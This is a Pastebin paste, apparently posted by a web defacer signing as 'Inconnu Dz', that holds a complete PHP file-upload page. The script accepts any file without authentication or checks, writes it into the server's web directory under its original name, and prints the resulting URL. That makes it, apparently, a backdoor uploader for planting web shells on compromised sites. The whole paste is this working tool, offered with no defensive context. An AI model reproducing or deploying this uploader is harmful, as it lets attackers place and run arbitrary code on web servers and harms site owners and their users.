Advertisement
Inconnu-Dz

upload

May 7th, 2016
92
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.79 KB | None | 0 0
  1. <html>
  2. <head>
  3. <title>Upload fille</title><br>
  4. <br><br><br><center><br><br><font color="red" size="7" >.Inconnu Dz.</font><center><br><br>
  5. <br><br><br><body bgcolor="white" text="green"><br><br><br>
  6. <br><br><br> <?php
  7. echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
  8. echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
  9. if( $_POST['_upl'] == "Upload" ) {
  10.     if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>DONE :3 !!!</b><br><br></br><br>'; }
  11.     else { echo '<b>Upload Failed :( !!!</b><br><br><br></br></br>'; }
  12.     echo '<br><br><br><br><font color=red size=6>===> http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME'])."/".$_FILES['file']['name']."";
  13. }
  14. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement